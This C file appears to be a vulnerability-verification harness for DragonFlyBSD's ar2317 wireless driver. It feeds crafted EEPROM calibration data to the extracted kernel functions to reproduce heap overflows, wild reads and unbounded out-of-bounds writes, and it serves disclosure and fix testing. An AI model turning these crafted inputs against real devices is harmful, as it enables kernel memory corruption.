/*
 * ar2317_harness.c -- DF-4680 / DF-4681 / DF-4682 / DF-4683 verification harness
 *
 * Proves the memory-safety violations in
 *   sys/dev/netif/ath/ath_hal/ar5212/ar2317.c
 *   ar2317getGainBoundariesAndPdadcsForPowers() + ar2317FillVpdTable()
 *   (lines 273-477)
 * on DragonFlyBSD by compiling the REAL function bodies VERBATIM
 * (anchor-extracted at build time from the guest's /usr/src copy; see
 * build.sh: lines ~228-477 = GetLowerUpperIndex, ar2317FillVpdTable,
 * interpolate_signed, ar2317getGainBoundariesAndPdadcsForPowers)
 * against faithful struct definitions (same member order; bank row
 * counts = the real ar5212Bank{1,2,3,6,7}_2317 ini rows = 1,1,1,30,3).
 *
 * Threat model mirrored: the EEPROM raw cal dataset (ee_rawDataset2413)
 * is attacker-crafted (v3 eeprom card, AR2317 RF).  The parser bounds
 * numVpd to {0,4,5} (ar2316SetupRawDataset-style logic shared at
 * ah_eeprom_v3.c:656-673) and pwr_t4/Vpd to EEPROM-derived bytes; the
 * gain selection (xpd_mask), the pwr_t4 order/spacing and the Vpd
 * deltas are EEPROM-controlled.  pdGainOverlap_t2 comes from the 4-bit
 * AR_PHY_TPCRG5_PD_GAIN_OVERLAP field (0..15; ar5212phy.h:349), so
 * overlap 15 is register-realistic.
 *
 * The ar2317State object is emulated as a kernel heap allocation:
 * mmap'd, positioned so the struct END is exactly a page boundary with
 * a PROT_NONE guard page after it => any write that runs past the
 * object faults at a precisely predictable address.
 *
 * Mode 1 (DF-4680): 4 used gains, spans >= 2, Pmin pattern {0,58,58,58},
 *   overlap 15  =>  kk runs to 168 while pPDADCValues is
 *   priv->pcdacTable[PWR_TABLE_SIZE_2317 = 128]
 *   => uint16 writes past the array into Bank1Data..Bank7Data
 *   (intra-object heap overflow; detected via 0xAAAAAAAA canary prefill
 *   of the bank region).
 *
 * Mode 2 (DF-4681): xpd_mask==0 => every numVpd==0 =>
 *   numPdGainsUsed==0.  HALASSERT(1 <= numPdGainsUsed && ...) at
 *   ar2317.c:516 is compiled out in release (AH_ASSERT undefined,
 *   ah_internal.h:665-676), so:
 *     - ar2317.c:465  pPdGainBoundaries[ii-1] with ii==0: ii is
 *       uint32_t => index 0xFFFFFFFF => read at gb + 0x1FFFFFFFE
 *       (+8.59 GB) -- a WILD read, not a 2-byte under-read.
 *     - ar2317.c:469  pPDADCValues[kk-1] with kk==0: same wrap from
 *       the pcdacTable base.
 *     - ar2317.c:405  *pMinCalPower = Pmin_t2[0] reads uninitialized
 *       stack (Pmin_t2[] only written when numVpd>0).
 *   In the kernel the +8.6GB read lands in the direct map (mapped RAM
 *   => garbage value survives and propagates) or in a KVA hole (panic).
 *   The harness emulates the survival case by mmapping the exact wild
 *   pages with 0x5A5A and observing the value propagate into
 *   gainBoundaries[0] (-> AR_PHY_TPCRG5 by ar2317SetPowerTable:575-580)
 *   and pcdacTable[0] (-> 32 PHY reg writes, ar2317.c:566-573).
 *
 * Mode 3 (DF-4682): 4 gains with FLAT curves (EEPROM deltas all 0)
 *   => sizeCurrVpdTable==0 for every gain =>
 *   ar2317.c:445-446 VpdTable_I[ii][sizeCurrVpdTable-1/-2] wraps to
 *   element index 0xFFFFFFFF/0xFFFFFFFE => read at row + 0x1FFFFFFFE.
 *   Left unmapped => SIGSEGV with si_addr exactly equal to
 *   &vpdTable_I[0][0] + 0x1FFFFFFFE (asserted in the handler).
 *
 * Mode 4 (DF-4683, descending curve): one pdGain whose EEPROM pwr_t4
 *   list is DESCENDING => Pmax_t2 < Pmin_t2 (both derived at
 *   ar2317.c:372-382 without any monotonicity check) =>
 *   (uint16_t)(Pmax - Pmin) in ar2317FillVpdTable:289 wraps to ~65530
 *   => ~131 KB of uint16 stores marching from vpdTable_L[0][0] through
 *   the rest of the ar2317State object and off its end => SIGSEGV at
 *   the guard page == struct end (write fault; the wild address is a
 *   STORE target, proving the unbounded OOB WRITE).
 *
 * Mode 5 (DF-4683, oversized span): last-processed gain has a VALID
 *   ascending EEPROM curve spanning 102 half-dB (> row width 64):
 *   ar2317FillVpdTable:289 has no clamp to MAX_PWR_RANGE_IN_HALF_DB,
 *   and the interpolate loop ar2317.c:393-398 copies that span into
 *   VpdTable_I[3][0..101] -- the LAST member of ar2317State -- so
 *   indices 64.. land past the end of the heap object => SIGSEGV at
 *   the guard page exactly at &vpdTable_I[3][64] (== struct end),
 *   without any integer wrap at all.
 */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>
#include <signal.h>
#include <sys/mman.h>
#include <unistd.h>

/* ---------------- kernel shims (release-build semantics) -------------- */
typedef int HAL_BOOL;
#define AH_TRUE  1
#define AH_FALSE 0
#define AH_NULL  ((void *)0)
/* release build: AH_ASSERT undefined -> HALASSERT is a no-op
 * (sys/dev/netif/ath/ath_hal/ah_internal.h:665-676) */
#define HALASSERT(x) do { } while (0)
#define HALDEBUG(ah, lvl, ...) do { } while (0)

struct ath_hal;			/* opaque: only used as a pointer */

/* RF_HAL_FUNCS -- verbatim shape from ar5212.h
 * (void* priv + 8 fn ptrs) */
typedef struct RfHalFuncs {
	void *priv;
	void (*rfDetach)(struct ath_hal *);
	void (*writeRegs)(struct ath_hal *, u_int, u_int, int);
	uint32_t *(*getRfBank)(struct ath_hal *, int);
	void *setChannel;
	void *setRfRegs;
	void *setPowerTable;
	void *getChannelMaxMinPower;
	void *getNfAdjust;
} RF_HAL_FUNCS;

/* constants from ah_eeprom_v3.h:278-292 */
#define NUM_11A_EEPROM_CHANNELS_2413 10
#define PWR_TABLE_SIZE_2413          128
#define MAX_NUM_PDGAINS_PER_CHANNEL  4
#define NUM_POINTS_LAST_PDGAIN       5
#define MAX_PWR_RANGE_IN_HALF_DB     64
#define PD_GAIN_BOUNDARY_STRETCH_IN_HALF_DB 4

/* RAW_DATA_*_2413 -- verbatim from ah_eeprom_v3.h:294-314 */
typedef struct {
	uint16_t pd_gain;
	uint16_t numVpd;
	uint16_t Vpd[NUM_POINTS_LAST_PDGAIN];
	int16_t  pwr_t4[NUM_POINTS_LAST_PDGAIN];
} RAW_DATA_PER_PDGAIN_2413;

typedef struct {
	uint16_t channelValue;
	int16_t  maxPower_t4;
	uint16_t numPdGains;
	RAW_DATA_PER_PDGAIN_2413 pDataPerPDGain[MAX_NUM_PDGAINS_PER_CHANNEL];
} RAW_DATA_PER_CHANNEL_2413;

typedef struct {
	uint16_t pChannels[NUM_11A_EEPROM_CHANNELS_2413];
	uint16_t numChannels;
	uint16_t xpd_mask;
	RAW_DATA_PER_CHANNEL_2413 pDataPerChannel[NUM_11A_EEPROM_CHANNELS_2413];
} RAW_DATA_STRUCT_2413;

/* struct ar2317State -- verbatim member order from ar2317.c:39-61;
 * bank row counts are the real ar5212Bank{1,2,3,6,7}_2317 rows counted
 * from the shipped ar5212.ini (1,1,1,30,3). */
struct ar2317State {
	RF_HAL_FUNCS base;
	uint16_t pcdacTable[PWR_TABLE_SIZE_2413];
	uint32_t Bank1Data[1];
	uint32_t Bank2Data[1];
	uint32_t Bank3Data[1];
	uint32_t Bank6Data[30];
	uint32_t Bank7Data[3];
	uint16_t vpdTable_L[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
	uint16_t vpdTable_R[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
	uint16_t vpdTable_I[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
};

static struct ar2317State *harness_priv;
#define AR2317(ah) ((struct ar2317State *)harness_priv)

/* ar2317.c:35-37 aliases (live above the extraction anchor) */
typedef RAW_DATA_STRUCT_2413 RAW_DATA_STRUCT_2317;
typedef RAW_DATA_PER_CHANNEL_2413 RAW_DATA_PER_CHANNEL_2317;
#define PWR_TABLE_SIZE_2317 PWR_TABLE_SIZE_2413

/* ---- VERBATIM kernel code: ar2317.c lines ~228-477 (see build.sh) ---- */
#include "ar2317_extracted.inc"

/* ------------------------------- harness ------------------------------- */
static int g_mode;
static struct { uint16_t pre[2]; uint16_t gb[4]; } *sb;
static char *guard_base;	/* page right after the ar2317State object */
static int16_t g_Pmin, g_Pmax;	/* FillVpdTable inputs (mode 4 printout) */

static uint64_t wild_expect(uint64_t *guard_out)
{
	if (g_mode == 2) {	/* ar2317.c:465  pPdGainBoundaries[ii-1], ii==0 */
		if (guard_out) *guard_out = 0;
		return (uint64_t)((char *)sb->gb + 0x1FFFFFFFEull);
	}
	if (g_mode == 3) {	/* ar2317.c:445 VpdTable_I[0][(uint32)0-1] */
		if (guard_out) *guard_out = 0;
		return (uint64_t)((char *)harness_priv->vpdTable_I[0] +
		    0x1FFFFFFFEull);
	}
	/* modes 4/5: OOB WRITE marching off the end of the object */
	if (guard_out) *guard_out = (uint64_t)guard_base;
	return (uint64_t)guard_base;
}

static void segv_handler(int sig, siginfo_t *si, void *uc)
{
	uint64_t guard, expect = wild_expect(&guard);
	(void)sig; (void)uc;
	printf("REPRODUCED: SIGSEGV si_addr=%p\n", si->si_addr);
	if (g_mode == 2 || g_mode == 3) {
		printf("  expected wild READ address %p (uint32 index wrap: "
		       "element index 0xFFFFFFFF x sizeof(uint16_t)=2 => "
		       "+0x1FFFFFFFE bytes = +8.59 GB)\n", (void *)expect);
		printf("%s\n", (uint64_t)si->si_addr == expect ?
		    "MATCH: wild OOB read proven (ar2317.c uint32 counter "
		    "underflow)" : "MISMATCH");
		_exit((uint64_t)si->si_addr == expect ? 0 : 2);
	}
	/* modes 4/5: the fault must be the STORE running off the object */
	printf("  object guard page at %p (struct end); si_addr is %zu "
	       "bytes past struct start (sizeof=%zu)\n",
	       (void *)guard,
	       (size_t)((char *)si->si_addr - (char *)harness_priv),
	       sizeof(struct ar2317State));
	if (g_mode == 4)
		printf("  FillVpdTable loop bound (uint16_t)(Pmax-Pmin) = "
		       "(uint16_t)(%d-%d) = %u entries (%d bytes) into a "
		       "64-wide row\n",
		       g_Pmax, g_Pmin,
		       (unsigned)(uint16_t)(g_Pmax - g_Pmin),
		       (int)(uint16_t)(g_Pmax - g_Pmin) * 2);
	printf("%s\n", (uint64_t)si->si_addr == guard ?
	    "MATCH: unbounded OOB WRITE ran off the end of the "
	    "ar2317State heap object (guard page)" : "MISMATCH");
	_exit((uint64_t)si->si_addr == guard ? 0 : 2);
}

static void set_gain(RAW_DATA_STRUCT_2413 *d, int slot, int numVpd,
		     int pwr0_t4, int step_t4, int vpd0, int vpd_step)
{
	RAW_DATA_PER_PDGAIN_2413 *g =
	    &d->pDataPerChannel[0].pDataPerPDGain[slot];
	int i;
	g->pd_gain = slot;
	g->numVpd = numVpd;
	for (i = 0; i < numVpd; i++) {
		g->pwr_t4[i] = (int16_t)(pwr0_t4 + i * step_t4);
		g->Vpd[i]   = (uint16_t)(vpd0 + i * vpd_step);
	}
}

int main(int argc, char **argv)
{
	int mode = (argc > 1) ? atoi(argv[1]) : 1;
	RAW_DATA_STRUCT_2413 dataset;
	uint16_t rfXpdGain[4];
	int16_t minPower = 0x7c7c;
	int ret, i, first_bad = -1, last_bad = -1;
	struct sigaction sa;
	char *mp;
	size_t ssz = sizeof(struct ar2317State);

	setvbuf(stdout, NULL, _IONBF, 0);	/* survive SIGSEGV for output */
	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = segv_handler;
	sa.sa_flags = SA_SIGINFO;
	sigaction(SIGSEGV, &sa, NULL);

	sb = malloc(sizeof(*sb));			/* kernel: caller stack */
	memset(sb, 0, sizeof(*sb));
	g_mode = mode;

	/* Emulate the kernel heap allocation: mmap 2 pages RW, place the
	 * struct so its END is exactly at the guard page boundary. */
	mp = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE,
		  MAP_ANON | MAP_PRIVATE, -1, 0);
	if (mp == MAP_FAILED || mprotect(mp + 0x2000, 0x1000, PROT_NONE)) {
		printf("mmap/mprotect of state storage failed\n");
		return 3;
	}
	guard_base = mp + 0x2000;
	harness_priv = (struct ar2317State *)(mp + 0x2000 - ssz);

	memset(harness_priv, 0xAA, ssz);
	memset(&dataset, 0, sizeof(dataset));
	memset(rfXpdGain, 0, sizeof(rfXpdGain));

	dataset.numChannels = 1;			/* single pier  */
	dataset.pChannels[0] = 2437;			/* == channel   */
	dataset.xpd_mask = 0xF;

	if (mode == 1) {
		/* DF-4680: 4 gains, spans >= 2 (avoids the independent
		 * lines-445-446 uint32 wrap = DF-4682, isolating the kk
		 * overflow), Pmin pattern {0,58,58,58}.
		 * pwr_t4[0]=4*pwr_I, +2*delta per point (EEPROM shape). */
		set_gain(&dataset, 3, 4,   0, 4, 0x10, 0x3F); /* Pmin0  Pmax6  */
		set_gain(&dataset, 2, 4, 116, 4, 0x10, 0x3F); /* Pmin58 Pmax64 */
		set_gain(&dataset, 1, 4, 116, 4, 0x10, 0x3F);
		set_gain(&dataset, 0, 4, 116, 4, 0x10, 0x3F);
	} else if (mode == 3) {
		/* DF-4682: FLAT curves (EEPROM deltas all 0)
		 * => sizeCurrVpdTable == 0 for every gain */
		set_gain(&dataset, 3, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 2, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 1, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 0, 4, 124, 0, 0x10, 0x3F);
	} else if (mode == 4) {
		/* DF-4683 (wrap variant): DESCENDING EEPROM pwr_t4 curve
		 * => Pmax_t2(84) < Pmin_t2(90) =>
		 * (uint16_t)(Pmax-Pmin) = 65530-entry FillVpdTable loop */
		set_gain(&dataset, 3, 4, 180, -4, 0x10, 0x3F);
		g_Pmin = 90; g_Pmax = 84;
	} else if (mode == 5) {
		/* DF-4683 (clamp variant): last gain spans 102 half-dB,
		 * ascending (VALID data, no wrap) — wider than the
		 * 64-entry row => VpdTable_I[3][64..] past object end */
		set_gain(&dataset, 3, 4, 116, 4, 0x10, 0x3F); /* span 6  */
		set_gain(&dataset, 2, 4, 116, 4, 0x10, 0x3F);
		set_gain(&dataset, 1, 4, 116, 4, 0x10, 0x3F);
		set_gain(&dataset, 0, 4,   0, 68, 0x10, 0x3F); /* span102 */
	} else {
		/* DF-4681: xpd_mask==0 -> all numVpd==0 (the shape
		 * ar23xxSetupRawDataset produces for xpd_mask 0) */
		dataset.xpd_mask = 0;
	}

	sb->pre[0] = 0x1111; sb->pre[1] = 0x2222;

	if (mode == 2) {
		/* Emulate the kernel direct map: in the kernel the +8.6GB
		 * wild read lands on mapped RAM (garbage) instead of
		 * faulting.  Map the exact wild pages so the call COMPLETES
		 * and we observe the value propagate. */
		uint64_t wa[2];
		void *p1, *p2;
		wa[0] = (uint64_t)((char *)sb->gb + 0x1FFFFFFFEull) & ~0xFFFull;
		wa[1] = (uint64_t)((char *)harness_priv->pcdacTable +
				    0x1FFFFFFFEull) & ~0xFFFull;
		p1 = mmap((void *)wa[0], 0x1000, PROT_READ | PROT_WRITE,
			  MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0);
		p2 = mmap((void *)wa[1], 0x1000, PROT_READ | PROT_WRITE,
			  MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0);
		if (p1 == MAP_FAILED || p2 == MAP_FAILED) {
			printf("mmap of wild pages failed\n");
			return 3;
		}
		*(uint16_t *)((char *)sb->gb + 0x1FFFFFFFEull) = 0x5A5A;
		*(uint16_t *)((char *)harness_priv->pcdacTable +
			       0x1FFFFFFFEull) = 0x5A5A;
		printf("mapped wild pages %p %p, seeded 0x5A5A\n", p1, p2);
	}

	printf("sizeof(struct ar2317State)=%zu offsetof(pcdacTable)=%zu "
	       "Bank1Data=%zu vpdTable_L=%zu vpdTable_I=%zu guard=%p\n",
	       ssz,
	       offsetof(struct ar2317State, pcdacTable),
	       offsetof(struct ar2317State, Bank1Data),
	       offsetof(struct ar2317State, vpdTable_L),
	       offsetof(struct ar2317State, vpdTable_I),
	       guard_base);

	ret = ar2317getGainBoundariesAndPdadcsForPowers(
	    (struct ath_hal *)1 /* ah: unused by the extracted code */,
	    2437 /* channel == pChannels[0] */,
	    &dataset,
	    15 /* pdGainOverlap_t2: max of the 4-bit TPCRG5 field */,
	    &minPower, sb->gb, rfXpdGain, harness_priv->pcdacTable);

	printf("mode=%d numPdGainsUsed(ret)=%d minPower=0x%04x\n",
	       mode, ret, (uint16_t)minPower);

	if (mode == 1) {
		/* DF-4680 detector: the bank region is never legitimately
		 * written by this function; any cell != 0xAAAA (u16 view)
		 * was clobbered by pPDADCValues[kk++] walking past
		 * pcdacTable[127].  Bank1..7 = (1+1+1+30+3) u32 = 72 u16. */
		uint16_t *cells = (uint16_t *)harness_priv->Bank1Data;
		int ncells = 72;
		for (i = 0; i < ncells; i++) {
			if (cells[i] != (uint16_t)0xAAAA) {
				if (first_bad < 0) first_bad = i;
				last_bad = i;
			}
		}
		if (first_bad < 0) {
			printf("DF-4680: NO overflow detected\n");
			return 1;
		}
		printf("DF-4680 REPRODUCED: pPDADCValues write walked past "
		       "pcdacTable[127]: first clobbered u16 cell %d bytes "
		       "past array end, last %d bytes past "
		       "(value 0x%04x) => kk ran to %d\n",
		       first_bad * 2, last_bad * 2 + 1, cells[first_bad],
		       PWR_TABLE_SIZE_2413 + last_bad + 1);
		printf("  => intra-object heap OOB WRITE past "
		       "pcdacTable[PWR_TABLE_SIZE_2317=128] into Bank data "
		       "(reprogrammed to the radio at ar2317.c:190-194)\n");
		return 0;
	}

	if (mode == 2) {
		/* DF-4681 detectors: the +0x1FFFFFFFE wild-read values
		 * (0x5A5A, read from pages ~8.6GB above the arrays, as the
		 * kernel direct map would allow) must have propagated into
		 * the outputs. */
		printf("gainBoundaries[0] = 0x%04x (== 0x5A5A => wild read at "
		       "gb+0x1FFFFFFFE, ar2317.c:465, then written to TPCRG5 "
		       "by ar2317SetPowerTable:575-580)\n", sb->gb[0]);
		printf("pcdacTable[0] = 0x%04x (== 0x5A5A => wild read at "
		       "pcdacTable+0x1FFFFFFFE, ar2317.c:469, replicated "
		       "across the pdadc table / 32 PHY reg writes)\n",
		       harness_priv->pcdacTable[0]);
		printf("minPower out = 0x%04x (uninitialized Pmin_t2[0] "
		       "stack read at ar2317.c:405; dataset carries no power "
		       "data)\n", (uint16_t)minPower);
		if (sb->gb[0] == 0x5A5A &&
		    harness_priv->pcdacTable[0] == 0x5A5A) {
			printf("DF-4681 REPRODUCED: uint32-underflow wild "
			       "reads at ar2317.c:465/:469 + uninit stack "
			       "read at :405\n");
			return 0;
		}
		return 1;
	}
	/* modes 3/4/5 prove their case in the SIGSEGV handler;
	 * reaching this point (no fault) is the EXPECTED outcome on a
	 * FIXED build (exit 1 so scripts can distinguish). */
	printf("no SIGSEGV: function completed on %s build\n",
	    "this" );
	return 1;
}
